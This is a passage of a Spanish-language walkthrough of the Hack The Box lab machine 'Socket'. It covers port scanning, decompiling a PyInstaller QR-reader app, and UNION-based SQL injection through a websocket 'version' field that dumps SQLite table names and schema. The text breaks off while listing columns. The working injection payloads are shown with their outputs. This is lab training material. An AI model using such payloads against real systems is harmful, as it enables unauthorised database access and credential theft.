En Socket analizamos el codigo fuente de una aplicacion escrita en Python, tras ello descubrimos una vulnerabilidad SQLi por donde logramos obtener credenciales que nos dieron acceso a la maquina. Tras analizar un script que es ejecutado mediante sudo, escribimos un pequeno archivo en Python que nos permitio escalar privilegios.
Nombre |
Socket |
OS |
Linux |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.11.206 |
Maker |
kavigihan |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[5.4, 4.7, 4.6, 5.4, 5.3],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
nmap
nmap
muestra multiples puertos abiertos: http (80), ssh (22) y lo que parece ser WebSockets (5789), segun el header Server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
# Nmap 7.93 scan initiated Thu May 4 15:13:59 2023 as: nmap -p22,80,5789 -sV -sC -oN nmap_scan 10.10.11.206
Nmap scan report for 10.10.11.206
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
5789/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest:
| HTTP/1.1 400 Bad Request
| Date: Thu, 04 May 2023 19:14:01 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| HTTPOptions, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Date: Thu, 04 May 2023 19:14:02 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
| Failed to open a WebSocket connection: did not receive a valid HTTP request.
| Help, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Date: Thu, 04 May 2023 19:14:17 GMT
| Server: Python/3.10 websockets/10.4
| Content-Length: 77
| Content-Type: text/plain
| Connection: close
|_ Failed to open a WebSocket connection: did not receive a valid HTTP request.
[ ... ]
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 4 15:15:34 2023 -- 1 IP address (1 host up) scanned in 95.19 seconds
|
Web Site
El sitio web nos redirige al dominio qreader.htb, tras agregarlo al archivo /etc/hosts observamos que los headers de respuesta indican una aplicacion escrita en Python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
π ~ ❯ curl -sI 10.10.11.206
HTTP/1.1 301 Moved Permanently
Date: Wed, 14 Jun 2023 03:29:12 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://qreader.htb/
Content-Type: text/html; charset=iso-8859-1
π ~ ❯ curl -sI http://qreader.htb/
HTTP/1.1 200 OK
Date: Wed, 14 Jun 2023 03:29:02 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 6992
π ~ ❯
|
Al visitar el sitio observamos informacion que indica que es posible crear imagenes QR a partir de texto o leer imagenes QR. En el footer se indica que esta escrita en Flask.
Si creamos una Imagen a partir de texto, una imagen QR se descarga.
Intentamos leer la imagen QR y vemos el texto en una nueva pagina.
Tambien, encontramos que el sitio ofrece una version de escritorio de la aplicacion web para Windows y Linux.
Directory Brute Forcing
feroxbuster
muestra tres unicas rutas de la aplicacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
π ~/htb/socket ❯ feroxbuster -u http://qreader.htb/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://qreader.htb/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 228l 638w 6992c http://qreader.htb/
200 GET 197l 302w 4161c http://qreader.htb/report
405 GET 5l 20w 153c http://qreader.htb/embed
405 GET 5l 20w 153c http://qreader.htb/reader
403 GET 9l 28w 276c http://qreader.htb/server-status
|
QR App
Descargamos la aplicacion y observamos que esta comprimida.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
π ~/htb/socket ❯ wget "qreader.htb/download/linux"
--2023-05-04 15:54:21-- http://qreader.htb/download/linux
Resolving qreader.htb (qreader.htb)... 10.10.11.206
Connecting to qreader.htb (qreader.htb)|10.10.11.206|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 107679534 (103M) [application/zip]
Saving to: ‘linux’
linux 100%[============================>] 102.69M 3.08MB/s in 84s
2023-05-04 15:55:45 (1.22 MB/s) - ‘linux’ saved [107679534/107679534]
π ~/htb/socket ❯ file linux
linux: Zip archive data, at least v1.0 to extract, compression method=store
π ~/htb/socket ❯
|
Tras descomprimir el archivo encontramos un ejecutable y una imagen PNG.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
π ~/htb/socket ❯ unzip linux
Archive: linux
creating: app/
inflating: app/qreader
inflating: app/test.png
π ~/htb/socket ❯ tree app
app
├── qreader
└── test.png
0 directories, 2 files
π ~/htb/socket ❯ cd app
π ~/htb/socket/app ❯ file qreader
qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped
π ~/htb/socket/app ❯
|
Dynamic analysis
Al ejecutar el fichero vemos que abre una version GUI del programa.
Si utilizamos la opcion de “Read” nos muestra un mensaje de error en el que indica que no se ha importado una imagen.
Al importar la imagen test.png que viene con el fichero, vemos que se muestra el texto del QR.
Tambien, al escribir un texto y dar a “Embed” nos genera una nueva imagen QR con el valor del texto ingresado.
En ‘About’ tenemos las opciones de Version y Update, al dar clic nos muestra un mensaje de error de conexion.
Ejecutamos wireshark y observamos el trafico generado, vemos multiples solicitudes a un subdominio, ws.qreader.htb
Tras agregar el subdominio a /etc/hosts observamos nueva informacion en Version y Update, respectivamente.
Static Analysis
Revisando las strings del ejecutable observamos “python”, al pasar grep sobre estas vemos una larga lista de archivos .pyc, con esto suponemos que se trata de una aplicacion escrita en python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
π ~/htb/socket/app ❯ strings qreader| more
π ~/htb/socket/app ❯ strings qreader| grep python
bPIL/_imaging.cpython-310-x86_64-linux-gnu.so
bPIL/_imagingft.cpython-310-x86_64-linux-gnu.so
bPIL/_imagingtk.cpython-310-x86_64-linux-gnu.so
bPIL/_webp.cpython-310-x86_64-linux-gnu.so
bPyQt5/sip.cpython-310-x86_64-linux-gnu.so
b_cffi_backend.cpython-310-x86_64-linux-gnu.so
[ .. ]
bsip.cpython-310-x86_64-linux-gnu.so
xPyQt5/uic/widget-plugins/__pycache__/qaxcontainer.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qscintilla.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtcharts.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtprintsupport.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtquickwidgets.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtwebenginewidgets.cpython-310.pyc
xPyQt5/uic/widget-plugins/__pycache__/qtwebkit.cpython-310.pyc
6libpython3.10.so.1.0
π ~/htb/socket/app
|
Ejecutamos pyinstxtractor sobre el fichero, para extraer el contenido del ejecutable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
π ~/htb/socket/app ❯ python3 ../../tools/pyinstxtractor/pyinstxtractor.py qreader
[+] Processing qreader
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Length of package: 108535118 bytes
[+] Found 305 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pyqt5.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: qreader.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.10 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: qreader
You can now use a python decompiler on the pyc files within the extracted directory
π ~/htb/socket/app ❯
|
Observamos multiples librerias y archivos .pyc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
π ~/htb/socket/app/qreader_extracted ❯ ls
base_library.zip libgbm.so.1 libmount.so.1 libsystemd.so.0 libXdamage.so.1
_cffi_backend.cpython-310-x86_64-linux-gnu.so libgcc_s.so.1 libmpdec.so.3 libthai.so.0 libXdmcp.so.6
cv2 libgcrypt.so.20 libmtdev.so.1 libtiff.so.5 libXext.so.6
importlib_metadata-4.6.4.egg-info libgdk-3.so.0 libncursesw.so.6 libtinfo.so.6 libXfixes.so.3
libatk-1.0.so.0 libgdk_pixbuf-2.0.so.0 libopenblas-r0-f650aae0.3.3.so libudev.so.1 libXinerama.so.1
libatk-bridge-2.0.so.0 libgfortran-91cc3cb1.so.3.0.0 libopenjp2.so.7 libuuid.so.1 libXi.so.6
libatspi.so.0 libgfortran.so.5 libpango-1.0.so.0 libvpx-f22f1483.so.7.0.0 libxkbcommon.so.0
libavcodec-5896f664.so.58.134.100 libgio-2.0.so.0 libpangocairo-1.0.so.0 libwacom.so.9 libxkbcommon-x11.so.0
libavformat-8ef5c7db.so.58.76.100 libglib-2.0.so.0 libpangoft2-1.0.so.0 libwayland-client.so.0 libXrandr.so.2
libavutil-9c768859.so.56.70.100 libgmodule-2.0.so.0 libpcre2-16.so.0 libwayland-cursor.so.0 libXrender.so.1
libblas.so.3 libgobject-2.0.so.0 libpcre2-8.so.0 libwayland-egl.so.1 libz.so.1
libblkid.so.1 libgomp.so.1 libpixman-1.so.0 libwayland-server.so.0 libzstd.so.1
libbrotlicommon.so.1 libgpg-error.so.0 libpng16-57e5e0a0.so.16.37.0 libwebpdemux.so.2 numpy
libbrotlidec.so.1 libgraphite2.so.3 libpng16.so.16 libwebpmux.so.3 PIL
libbsd.so.0 libgssapi_krb5.so.2 libpython3.10.so.1.0 libwebp.so.7 psutil
libbz2-a273e504.so.1.0.6 libgtk-3.so.0 libQt5Core.so.5 libX11.so.6 pyiboot01_bootstrap.pyc
libbz2.so.1.0 libgudev-1.0.so.0 libQt5DBus.so.5 libX11-xcb.so.1 pyimod01_archive.pyc
libcairo-gobject.so.2 libharfbuzz.so.0 libQt5EglFSDeviceIntegration.so.5 libXau.so.6 pyimod02_importers.pyc
libcairo.so.2 libICE.so.6 libQt5EglFsKmsSupport.so.5 libxcb-glx.so.0 pyimod03_ctypes.pyc
libcap.so.2 libicudata.so.72 libQt5Gui.so.5 libxcb-icccm.so.4 pyi_rth_inspect.pyc
libcom_err.so.2 libicui18n.so.72 libQt5Network.so.5 libxcb-image.so.0 pyi_rth_multiprocessing.pyc
libcrypto-d21001fc.so.1.1 libicuuc.so.72 libQt5Svg.so.5 libxcb-keysyms.so.1 pyi_rth_pkgres.pyc
libcrypto.so.3 libimagequant.so.0 libQt5Widgets.so.5 libxcb-randr.so.0 pyi_rth_pkgutil.pyc
libdatrie.so.1 libinput.so.10 libQt5XcbQpa.so.5 libxcb-render.so.0 pyi_rth_pyqt5.pyc
libdbus-1.so.3 libjbig.so.0 libquadmath-96973f99.so.0.0.0 libxcb-render-util.so.0 pyi_rth_setuptools.pyc
libdeflate.so.0 libjpeg.so.62 libquadmath.so.0 libxcb-shape.so.0 pyi_rth_subprocess.pyc
libdouble-conversion.so.3 libk5crypto.so.3 libraqm.so.0 libxcb-shm.so.0 PyQt5
lib-dynload libkeyutils.so.1 libreadline.so.8 libxcb-sync.so.1 PYZ-00.pyz
libepoxy.so.0 libkrb5.so.3 libselinux.so.1 libxcb-util.so.1 PYZ-00.pyz_extracted
libevdev.so.2 libkrb5support.so.0 libSM.so.6 libxcb-xfixes.so.0 qreader.pyc
libexpat.so.1 liblapack.so.3 libssl-c8c53640.so.1.1 libxcb-xinerama.so.0 setuptools-59.6.0.egg-info
libffi.so.8 liblz4.so.1 libssl.so.3 libxcb-xinput.so.0 sip.cpython-310-x86_64-linux-gnu.so
libfontconfig.so.1 liblzma.so.5 libstdc++.so.6 libxcb-xkb.so.1 struct.pyc
libfreetype.so.6 libmd4c.so.0 libswresample-99364a1c.so.3.9.100 libXcomposite.so.1 websockets-10.2.egg-info
libfribidi.so.0 libmd.so.0 libswscale-e6451464.so.5.9.100 libXcursor.so.1 wheel-0.37.1.egg-info
π ~/htb/socket/app/qreader_extracted ❯
|
Filtramos los .so, observamos multiples librerias python, destacamos el archivo qreader.pyc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
π ~/htb/socket/app/qreader_extracted ❯ ls | grep -v so
base_library.zip
cv2
importlib_metadata-4.6.4.egg-info
lib-dynload
numpy
PIL
psutil
pyiboot01_bootstrap.pyc
pyimod01_archive.pyc
pyimod02_importers.pyc
pyimod03_ctypes.pyc
pyi_rth_inspect.pyc
pyi_rth_multiprocessing.pyc
pyi_rth_pkgres.pyc
pyi_rth_pkgutil.pyc
pyi_rth_pyqt5.pyc
pyi_rth_setuptools.pyc
pyi_rth_subprocess.pyc
PyQt5
PYZ-00.pyz
PYZ-00.pyz_extracted
qreader.pyc
setuptools-59.6.0.egg-info
struct.pyc
wheel-0.37.1.egg-info
π ~/htb/socket/app/qreader_extracted ❯
|
UnPyc
Utilizamos la version de python 3.10 y con unpyc, decompilamos el archivo qreader.pyc, vemos el codigo fuente de la aplicacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
|
PS C:\Users\sckull\Documents\htb\unpyc37-3.10> python --version
Python 3.10.9
PS C:\Users\sckull\Documents\htb\unpyc37-3.10>
PS C:\Users\sckull\Documents\htb\unpyc37-3.10> python .\src\unpyc3.py ..\qreader.pyc
Traceback (most recent call last):
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1999, in run
new_addr = method(*args)
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 2710, in CALL_FUNCTION
func = self.stack.pop()
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 316, in pop
val = self.pop1()
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 310, in pop1
raise Exception('Empty stack popped!')
Exception: Empty stack popped!
Traceback (most recent call last):
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1999, in run
new_addr = method(*args)
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 2266, in SETUP_WITH
elif end_with.opcode is WITH_CLEANUP_START:
NameError: name 'WITH_CLEANUP_START' is not defined
Traceback (most recent call last):
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1999, in run
new_addr = method(*args)
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 2438, in DUP_TOP
self.stack.push(self.stack.peek())
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 330, in peek
return self._stack[-1]
IndexError: list index out of range
Traceback (most recent call last):
File "C:\Users\sckull\Documents\htb\unpyc37-3.10\src\unpyc3.py", line 1998, in run
method = getattr(self, opname[opcode])
AttributeError: 'SuiteDecompiler' object has no attribute 'GEN_START'
import cv2
import sys
import qrcode
import tempfile
import random
import os
from PyQt5.QtWidgets import *
from PyQt5 import uic, QtGui
import asyncio
import websockets
import json
VERSION = '0.0.2'
ws_host = 'ws://ws.qreader.htb:5789'
icon_path = './icon.png'
def setup_env():
global tmp_file_name
try:
tmp_file_name = tempfile.gettempdir() + '/' + str(random.randint(100000, 900000)) + '.tmp'
ui_template = '<?xml version="1.0" encoding="UTF-8"?>\n <ui version="4.0">\n <class>MainWindow</class>\n <widget class="QMainWindow" name="MainWindow">\n <property name="geometry">\n <rect>\n <x>0</x>\n <y>0</y>\n <width>743</width>\n <height>368</height>\n </rect>\n </property>\n <property name="windowTitle">\n <string>QR Code Reader</string>\n </property>\n <widget class="QWidget" name="centralwidget">\n <layout class="QHBoxLayout" name="horizontalLayout">\n <item>\n <widget class="QLabel" name="label">\n <property name="minimumSize">\n <size>\n <width>300</width>\n <height>300</height>\n </size>\n </property>\n <property name="text">\n <string/>\n </property>\n </widget>\n </item>\n <item>\n <layout class="QHBoxLayout" name="horizontalLayout_2"/>\n </item>\n <item>\n <layout class="QVBoxLayout" name="verticalLayout_5">\n <item>\n <widget class="QPushButton" name="pushButton">\n <property name="text">\n <string>Read</string>\n </property>\n </widget>\n </item>\n <item>\n <widget class="QPushButton" name="pushButton_2">\n <property name="text">\n <string>Embed</string>\n </property>\n </widget>\n </item>\n </layout>\n </item>\n <item>\n <layout class="QVBoxLayout" name="verticalLayout">\n <item>\n <widget class="QTextEdit" name="textEdit">\n <property name="minimumSize">\n <size>\n <width>300</width>\n <height>300</height>\n </size>\n </property>\n </widget>\n </item>\n </layout>\n </item>\n </layout>\n </widget>\n <widget class="QMenuBar" name="menubar">\n <property name="geometry">\n <rect>\n <x>0</x>\n <y>0</y>\n <width>743</width>\n <height>21</height>\n </rect>\n </property>\n <widget class="QMenu" name="menuFile">\n <property name="title">\n <string>File</string>\n </property>\n <addaction name="actionImport"/>\n <addaction name="actionSave"/>\n <addaction name="actionQuit"/>\n </widget>\n <widget class="QMenu" name="menuAbout">\n <property name="title">\n <string>About</string>\n </property>\n <addaction name="actionVersion"/>\n <addaction name="actionUpdate"/>\n </widget>\n <addaction name="menuFile"/>\n <addaction name="menuAbout"/>\n </widget>\n <widget class="QStatusBar" name="statusbar"/>\n <action name="actionImport">\n <property name="text">\n <string>Import</string>\n </property>\n </action>\n <action name="actionSave">\n <property name="text">\n <string>Save</string>\n </property>\n </action>\n <action name="actionQuit">\n <property name="text">\n <string>Quit</string>\n </property>\n </action>\n <action name="actionVersion">\n <property name="text">\n <string>Version </string>\n </property>\n </action>\n <action name="actionUpdate">\n <property name="text">\n <string>Updates</string>\n </property>\n </action>\n </widget>\n <resources/>\n <connections/>\n </ui>'
with open(tmp_file_name, 'w') as f:
f.write(ui_template)
finally:
pass
class MyGUI(QMainWindow):
def __init__(self):
super(MyGUI, self).__init__()
uic.loadUi(tmp_file_name, self)
self.show()
self.current_file = ''
self.actionImport.triggered.connect(self.load_image)
self.actionSave.triggered.connect(self.save_image)
self.actionQuit.triggered.connect(self.quit_reader)
self.actionVersion.triggered.connect(self.version)
self.actionUpdate.triggered.connect(self.update)
self.pushButton.clicked.connect(self.read_code)
self.pushButton_2.clicked.connect(self.generate_code)
self.initUI()
def initUI(self):
self.setWindowIcon(QtGui.QIcon(icon_path))
def load_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getOpenFileName(self, 'Open File', '', 'All Files (*)')
if filename != '':
self.current_file = filename
pixmap = QtGui.QPixmap(self.current_file)
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)
return
def save_image(self):
options = QFileDialog.Options()
(filename, _) = QFileDialog.getSaveFileName(self, 'Save File', '', 'PNG (*.png)', options=options)
if filename != '':
img = self.label.pixmap()
img.save(filename, 'PNG')
return
def read_code(self):
if self.current_file != '':
img = cv2.imread(self.current_file)
detector = cv2.QRCodeDetector()
(data, bbox, straight_qrcode) = detector.detectAndDecode(img)
self.textEdit.setText(data)
return
self.statusBar().showMessage('[ERROR] No image is imported!')
def generate_code(self):
qr = qrcode.QRCode(version=1, error_correction=qrcode.constants.ERROR_CORRECT_L, box_size=20, border=2)
qr.add_data(self.textEdit.toPlainText())
qr.make(fit=True)
img = qr.make_image(fill_color='black', back_color='white')
img.save('current.png')
pixmap = QtGui.QPixmap('current.png')
pixmap = pixmap.scaled(300, 300)
self.label.setScaledContents(True)
self.label.setPixmap(pixmap)
def quit_reader(self):
if os.path.exists(tmp_file_name):
os.remove(tmp_file_name)
sys.exit()
def version(self):
response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION})))
data = json.loads(response)
if 'error'not in (data.keys()):
version_info = data['message']
msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}'
self.statusBar().showMessage(msg)
return
error = data['error']
self.statusBar().showMessage(error)
def update(self):
response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({'version': VERSION})))
data = json.loads(response)
if 'error'not in (data.keys()):
msg = '[INFO] ' + data['message']
self.statusBar().showMessage(msg)
return
error = data['error']
self.statusBar().showMessage(error)
async def ws_connect(url, msg):
pass
def main():
(status, e) = setup_env()
if not status:
print('[-] Problem occured while setting up the env!')
app = QApplication([])
window = MyGUI()
app.exec_()
if __name__ == '__main__':
main()
return
PS C:\Users\sckull\Documents\htb\unpyc37-3.10>
|
Destacamos la conexion con el websocket, obteniendo la version y actualizacion.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
import asyncio
import websockets
[...]
ws_host = 'ws://ws.qreader.htb:5789'
VERSION = '0.0.2'
[...]
def version(self):
response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({'version': VERSION})))
data = json.loads(response)
if 'error'not in (data.keys()):
version_info = data['message']
msg = f'[INFO] You have version {version_info["version"]} which was released on {version_info["released_date"]}'
self.statusBar().showMessage(msg)
return
error = data['error']
self.statusBar().showMessage(error)
def update(self):
response = asyncio.run(ws_connect(ws_host + '/update', json.dumps({'version': VERSION})))
data = json.loads(response)
if 'error'not in (data.keys()):
msg = '[INFO] ' + data['message']
self.statusBar().showMessage(msg)
return
error = data['error']
self.statusBar().showMessage(error)
async def ws_connect(url, msg):
pass
[...]
|
User - Tkeller
SQLi
Creamos un pequeno script para realizar una conexion con el servidor y ver que informacion podemos obtener manipulando el valor de ‘version’.
Cambiando el numero de version vemos informacion: id, version, release_date, downloads, que, probablemente sean obtenidas de alguna base de datos.
1
2
3
4
5
6
7
|
π ~/htb/socket ❯ python3 websocket_socket.py 0.0.2
{'message': {'id': 2, 'version': '0.0.2', 'released_date': '26/09/2022', 'downloads': 720}}
π ~/htb/socket ❯ python3 websocket_socket.py 0.0.1
{'message': {'id': 1, 'version': '0.0.1', 'released_date': '12/07/2022', 'downloads': 280}}
π ~/htb/socket ❯ python3 websocket_socket.py 0.0.0
{'message': 'Invalid version!'}
π ~/htb/socket ❯
|
En el caso de /update nos muestra unicamente dos mensajes.
1
2
3
4
5
|
π ~/htb/socket ❯ python3 websocket_socket.py 0.0.2
{'message': 'You have the latest version installed!'}
π ~/htb/socket ❯ python3 websocket_socket.py 0.0.1
{'message': 'Version 0.0.2 is available to download!'}
π ~/htb/socket ❯
|
Manipulando el valor de version, vemos posible una injeccion SQL, al intentar con union select observamos 4 columnas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" or 1=1'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and 1=1'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and 1=1;'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and 1=1;#'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" and 1=1--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" or 1=1--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,4,5--'
π ~/htb/socket ❯
|
Vemos que en la primera columna es posible obtener informacion en este caso vemos el valor 0
pasandolo con char(48)
.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,3,char(48)--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,2,char(48),4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select 1,char(48),3,4--'
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select char(48),2,3,4--'
{"message": {"id": "0", "version": 2, "released_date": 3, "downloads": 4}}
π ~/htb/socket ❯
|
Intentamos identificar la base de datos, encontramos que se trata de sqlite.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select @@version,2,3,4--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select @@version(),2,3,4--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select version(),2,3,4--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select v$version,2,3,4--'
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select sqlite_version(),2,3,4--'
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}
π ~/htb/socket ❯
|
Tablas & Columnas
Vemos que la tabla es “versions” y observamos las columnas.
1
2
3
4
5
6
|
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT tbl_name FROM sqlite_master WHERE type="table" and tbl_name NOT like "sqlite_%"),2,3,4--'
{"message": {"id": "versions", "version": 2, "released_date": 3, "downloads": 4}}
π ~/htb/socket ❯
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT sql FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name ="versions"),2,3,4--'
{"message": {"id": "CREATE TABLE versions (id INTEGER PRIMARY KEY AUTOINCREMENT, version TEXT, released_date DATE, downloads INTEGER)", "version": 2, "released_date": 3, "downloads": 4}}
π ~/htb/socket ❯
|
Utilizando group_concat logramos obtener las tablas de la base de datos, las cuales son cinco.
1
2
3
4
5
6
7
8
9
10
11
|
# list of all tables in the database
π ~/htb/socket ❯ python3 websocket_socket.py '0.0.2" union select (SELECT group_concat(name) FROM sqlite_schema WHERE type="table" ORDER BY name),2,3,4--' | jq
{
"message": {
"id": "sqlite_sequence,versions,users,info,reports,answers",
"version": 2,
"released_date": 3,
"downloads": 4
}
}
π ~/htb/socket ❯
|
Listamos las columnas de cata tabla.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
# list columns of each table
